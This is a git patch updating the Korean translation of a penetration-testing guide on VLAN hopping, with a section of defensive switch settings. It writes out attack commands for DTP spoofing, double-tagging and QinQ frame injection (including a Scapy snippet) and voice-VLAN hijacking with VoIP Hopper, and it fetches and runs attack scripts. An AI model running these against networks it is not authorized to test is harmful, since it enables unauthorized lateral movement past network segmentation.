From e8ffd6b82326bc9fc4569feeaf521400ca27cdde Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 18 Aug 2025 12:38:19 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/pentesting-network/ --- .../lateral-vlan-segmentation-bypass.md | 87 ++++++++++++++----- 1 file changed, 64 insertions(+), 23 deletions(-) diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index ce29384b4..bea6cb3e1 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN에 대한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**) +스위치에 직접 접근할 수 있는 경우, VLAN 세분화를 우회할 수 있습니다. 이는 연결된 포트를 트렁크 모드로 재구성하고, 대상 VLAN을 위한 가상 인터페이스를 설정하며, 시나리오에 따라 동적으로(DHCP) 또는 정적으로 IP 주소를 설정하는 것을 포함합니다 (**자세한 내용은 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) 확인하세요.**) 먼저, 특정 연결된 포트를 식별해야 합니다. 이는 일반적으로 CDP 메시지를 통해 수행되거나 **include** 마스크를 통해 포트를 검색하여 수행할 수 있습니다. @@ -24,6 +24,7 @@ SW1(config-if)# switchport mode trunk 그런 다음 가상 인터페이스가 생성되고, VLAN ID가 할당되며, 활성화됩니다: ```bash +# Legacy (vconfig) – still works but deprecated in modern kernels sudo vconfig add eth0 10 sudo vconfig add eth0 20 sudo vconfig add eth0 50 @@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up + +# Modern (ip-link – preferred) +sudo modprobe 8021q +sudo ip link add link eth0 name eth0.10 type vlan id 10 +sudo ip link add link eth0 name eth0.20 type vlan id 20 +sudo ip link set eth0.10 up +sudo ip link set eth0.20 up +sudo dhclient -v eth0.50 +sudo dhclient -v eth0.60 ``` 그 후, DHCP를 통해 주소 요청이 이루어집니다. 또는 DHCP가 불가능한 경우, 주소를 수동으로 구성할 수 있습니다: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 -sudo dhclient -v eth0.50 -sudo dhclient -v eth0.60 ``` 인터페이스(VLAN 10)에서 정적 IP 주소를 수동으로 설정하는 예: ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 +# or +sudo ip addr add 10.10.10.66/24 dev eth0.10 ``` 연결성은 VLAN 10, 20, 50 및 60의 기본 게이트웨이에 ICMP 요청을 시작하여 테스트됩니다. -궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 이후 작업을 위한 기반을 마련합니다. +궁극적으로 이 프로세스는 VLAN 세분화를 우회할 수 있게 하여 모든 VLAN 네트워크에 대한 제한 없는 액세스를 용이하게 하고, 후속 작업을 위한 기반을 마련합니다. --- -## 기타 VLAN-Hopping 기술 (특권 스위치 CLI 없음) +## 기타 VLAN-호핑 기술 (특권 스위치 CLI 없음) -이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 **액세스 포트**에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다: +이전 방법은 스위치에 대한 인증된 콘솔 또는 Telnet/SSH 액세스를 가정합니다. 실제 상황에서 공격자는 일반 액세스 포트에 연결되어 있는 경우가 많습니다. 다음 Layer-2 트릭은 스위치 OS에 로그인하지 않고도 수평으로 이동할 수 있게 해줍니다: ### 1. 동적 트렁킹 프로토콜(DTP)을 이용한 스위치 스푸핑 @@ -61,22 +71,29 @@ DTP가 활성화된 Cisco 스위치는 피어가 스위치라고 주장하면 *Yersinia* 및 여러 PoC가 이 프로세스를 자동화합니다: ```bash # Become a trunk using Yersinia (GUI) -$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking +sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking # Python PoC (dtp-spoof) -$ git clone https://github.com/fleetcaptain/dtp-spoof.git -$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable +git clone https://github.com/fleetcaptain/dtp-spoof.git +sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable ``` -포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. 최신 Linux 커널은 더 이상 *vconfig*를 필요로 하지 않으며, 대신 *ip link*를 사용하십시오: +Recon helper (포트의 DTP 상태를 수동으로 지문 인식하기): ```bash sudo modprobe 8021q sudo ip link add link eth0 name eth0.30 type vlan id 30 sudo ip addr add 10.10.30.66/24 dev eth0.30 sudo ip link set eth0.30 up + +# or + +wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py +sudo python3 dtpscan.py -i eth0 ``` +포트가 트렁크로 전환되면 802.1Q 서브 인터페이스를 생성하고 이전 섹션에 표시된 대로 정확히 피벗할 수 있습니다. + ### 2. 더블 태깅 (네이티브 VLAN 남용) -공격자가 **네이티브 (태그가 없는) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임은 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 "홉"할 수 있습니다. **VLANPWN DoubleTagging.py** (2022-2024 리프레시)와 같은 도구는 주입을 자동화합니다: +공격자가 **네이티브(언태그) VLAN**에 있을 경우, *두 개*의 802.1Q 헤더가 있는 조작된 프레임이 포트가 액세스 모드로 잠겨 있어도 두 번째 VLAN으로 이동할 수 있습니다. **VLANPWN DoubleTagging.py**(2022-2025 리프레시)와 같은 도구는 주입을 자동화합니다: ```bash python3 DoubleTagging.py \ --interface eth0 \ @@ -85,15 +102,9 @@ python3 DoubleTagging.py \ --victim 10.10.20.24 \ --attacker 10.10.1.54 ``` -패킷 통과: -1. 외부 태그 (1)는 기본 VLAN과 일치하기 때문에 첫 번째 스위치에 의해 제거됩니다. -2. 내부 태그 (20)가 이제 노출되며, 프레임은 VLAN 20으로 향하는 트렁크로 전달됩니다. - -이 기술은 기본 VLAN을 기본값으로 두고 태그가 없는 프레임을 수용하는 네트워크에서 2025년에도 여전히 작동합니다. - ### 3. QinQ (802.1ad) 스태킹 -많은 기업 코어는 *Q-in-Q* 서비스 제공업체 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내부에 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. 802.1ad 이더타입 0x88a8을 캡처하고 Scapy로 외부 태그를 팝하려고 시도하십시오: +많은 기업 코어는 *Q-in-Q* 서비스 제공자 캡슐화를 지원합니다. 허용되는 경우, 공격자는 공급자(S-tag) 내에서 임의의 802.1Q 태그가 있는 트래픽을 터널링하여 보안 구역을 넘을 수 있습니다. ethertype `0x88a8`을 캡처하고 Scapy로 외부 태그를 팝해 보십시오: ```python from scapy.all import * outer = 100 # Service tag @@ -102,22 +113,52 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ frame = Dot1Q(type=0x88a8, vlan=outer)/payload sendp(frame, iface="eth0") ``` +### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing) + +기업 액세스 포트는 종종 *“access + voice”* 구성에 위치합니다: 워크스테이션을 위한 태그가 없는 데이터 VLAN과 CDP 또는 LLDP-MED를 통해 광고되는 태그가 있는 음성 VLAN. IP 전화를 가장함으로써 공격자는 VoIP VLAN을 자동으로 발견하고 이동할 수 있습니다—DTP가 비활성화되어 있을 때도 마찬가지입니다. + +*VoIP Hopper* (Kali 2025.2에 패키지됨)은 CDP, DHCP 옵션 **176/242**, 및 전체 LLDP-MED 스푸핑을 지원합니다: +```bash +# One-shot discovery & hop +sudo voiphopper -i eth0 -f cisco-7940 + +# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt) +sudo voiphopper -i eth0 -z + +# Result: new sub-interface eth0. with a DHCP or static address inside the voice VLAN +``` +이 기술은 데이터/음성 분리를 우회하며 2025년에는 많은 모델에서 LLDP 자동 정책이 기본적으로 활성화되어 있기 때문에 기업 엣지 스위치에서 매우 일반적입니다. + --- ## 방어 권장 사항 1. 모든 사용자-facing 포트에서 DTP 비활성화: `switchport mode access` + `switchport nonegotiate`. -2. 모든 트렁크에서 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`. +2. 모든 트렁크의 기본 VLAN을 **사용되지 않는 블랙홀 VLAN**으로 변경하고 태그 지정: `vlan dot1q tag native`. 3. 트렁크에서 불필요한 VLAN 제거: `switchport trunk allowed vlan 10,20`. -4. 포트 보안, DHCP 스누핑 및 동적 ARP 검사 시행하여 불법 Layer-2 활동 제한. -5. 802.1Q 분리에만 의존하기보다는 프라이빗 VLAN 또는 L3 세분화를 선호. +4. 포트 보안, DHCP 스누핑, 동적 ARP 검사 **및 802.1X**를 적용하여 악성 Layer-2 활동을 제한합니다. +5. IP 전화 스푸핑이 필요하지 않은 경우 LLDP-MED 자동 음성 정책을 비활성화(또는 인증된 MAC OUI에 잠금)합니다. +6. 802.1Q 분리에만 의존하기보다는 개인 VLAN 또는 L3 세분화를 선호합니다. --- -## 참조 +## 실제 벤더 취약점 (2022-2024) + +완벽하게 강화된 스위치 구성도 펌웨어 버그에 의해 저해될 수 있습니다. 최근 사례는 다음과 같습니다: + +* **CVE-2022-20728† – Cisco Aironet/Catalyst 액세스 포인트**는 기본 VLAN에서 비기본 WLAN VLAN으로의 주입을 허용하여 유선/무선 분리를 우회합니다. +* **CVE-2024-20465 (Cisco IOS Industrial Ethernet)**는 Resilient Ethernet Protocol을 전환한 후 SVI에서 ACL 우회를 허용하여 VRF/VLAN 간의 트래픽을 유출합니다. 패치 17.9.5 이상. + +항상 VLAN 관련 우회/ACL 문제에 대한 벤더 권고 사항을 모니터링하고 인프라 이미지를 최신 상태로 유지하십시오. + +--- + +## 참고 문헌 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) - VLANPWN 공격 툴킷 – -- Twingate "VLAN Hopping이란?" (2024년 8월) – +- Twingate "VLAN 홉핑이란?" (2024년 8월) – +- VoIP Hopper 프로젝트 – +- Cisco 권고 “cisco-sa-apvlan-TDTtb4FY” – {{#include ../../banners/hacktricks-training.md}}